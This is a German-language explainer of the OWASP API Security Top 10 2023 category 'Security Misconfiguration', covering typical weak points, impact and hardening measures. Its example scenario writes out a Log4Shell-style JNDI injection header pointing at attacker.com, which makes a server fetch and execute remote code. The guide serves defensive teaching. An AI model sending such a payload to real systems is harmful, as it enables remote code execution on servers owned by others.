Security Misconfiguration

Wie der Angriff funktioniert

Angreifer suchen systematisch nach ungepatchten Schwachstellen, bekannten Endpunkten, Diensten mit unsicheren Standardkonfigurationen oder ungeschützten Dateien und Verzeichnissen, um sich unbefugten Zugriff oder Systemwissen zu verschaffen. Vieles davon ist öffentlich bekannt und es existieren oft fertige Exploits.

Fehlkonfigurationen können auf jeder Ebene des API-Stacks auftreten - vom Netzwerk bis zur Applikation - und automatisierte Werkzeuge stehen bereit, um unnötige Dienste oder veraltete Optionen aufzuspüren und auszunutzen.

Typische Schwachpunkte sind:

• Fehlendes Hardening
• Falsch gesetzte Cloud-Berechtigungen
• Fehlende Patches
• Unnötig aktivierte HTTP-Verben oder Logging-Funktionen
• Unterschiede in der Request-Verarbeitung innerhalb der HTTP-Server-Kette (Request-Smuggling/Desync)
• Fehlendes TLS
• Fehlende Cache-Control- oder Security-Header
• Fehlende oder falsche CORS-Policy
• Fehlermeldungen mit Stack-Traces oder anderen sensiblen Informationen

Beispiel

OWASP-Szenario #1 (Log4Shell-artiger RCE durch unsichere Logging-Standardkonfiguration): Ein API-Backend führt ein Zugriffslog mit einer verbreiteten Open-Source-Logging-Bibliothek, bei der Platzhalter-Expansion und JNDI-Lookups (Java Naming and Directory Interface) standardmäßig aktiviert sind. Pro Anfrage wird eine Logzeile im Muster / - geschrieben.

1. Schritt 1 - Der Angreifer sendet folgende Anfrage:GET /healthX-Api-Version: ${jndi:ldap://attacker.com/Malicious.class}
2. Schritt 2 - Beim Schreiben der Logzeile expandiert die Logging-Bibliothek den Wert des Headers X-Api-Version.
3. Schritt 3 - Wegen der unsicheren Standardkonfiguration und einer zu freizügigen ausgehenden Netzwerk-Policy lädt die Bibliothek das Objekt Malicious.class vom vom Angreifer kontrollierten Server und führt es aus - es kommt zu Remote Code Execution.

Auswirkung

Fehlkonfigurationen legen nicht nur sensible Nutzerdaten offen, sondern auch Systemdetails, die zur vollständigen Kompromittierung des Servers führen können (z. B. Remote Code Execution wie in Szenario #1).

Die technische Schwere wird von OWASP als "Severe" eingestuft.

Geschäftliche Folgen reichen je nach betroffenem System von Datenabfluss (z. B. private Nachrichten über Browser-Cache in Szenario #2) bis zur Server-Übernahme; die konkrete Geschäftsauswirkung ist anwendungsspezifisch.

So schützt man sich

• Wiederholbarer Hardening-Prozess, der eine schnelle und einfache Bereitstellung einer korrekt abgesicherten ('locked down') Umgebung ermöglicht
• Regelmäßiges Prüfen und Aktualisieren der Konfigurationen über den gesamten API-Stack hinweg, einschließlich Orchestrierungsdateien, API-Komponenten und Cloud-Diensten (z. B. S3-Bucket-Berechtigungen)
• Automatisierter, kontinuierlicher Prozess zur Bewertung der Wirksamkeit von Konfiguration und Einstellungen in allen Umgebungen
• Alle API-Kommunikation vom Client zum Server und zu vor-/nachgelagerten Komponenten über einen verschlüsselten Kanal (TLS) - unabhängig davon, ob die API intern oder öffentlich ist
• Genau festlegen, über welche HTTP-Verben eine API erreichbar ist; alle anderen Verben deaktivieren (z. B. HEAD)
• Für browserbasierte Clients mindestens eine korrekte CORS-Policy umsetzen und passende Security-Header setzen
• Eingehende Content-Types/Datenformate auf die fachlich/funktional benötigten beschränken
• Sicherstellen, dass alle Server in der HTTP-Server-Kette (Load Balancer, Reverse-/Forward-Proxies, Backend-Server) eingehende Anfragen einheitlich verarbeiten, um Desync- bzw. Request-Smuggling-Probleme zu vermeiden
• Wo anwendbar: alle Antwort-Payload-Schemata einschließlich Fehlerantworten definieren und erzwingen, damit keine Exception-Traces oder anderen wertvollen Informationen an Angreifer zurückgegeben werden

Quellen

• API8:2023 Security Misconfiguration - OWASP API Security Top 10 2023 OWASP API Security Project, 2023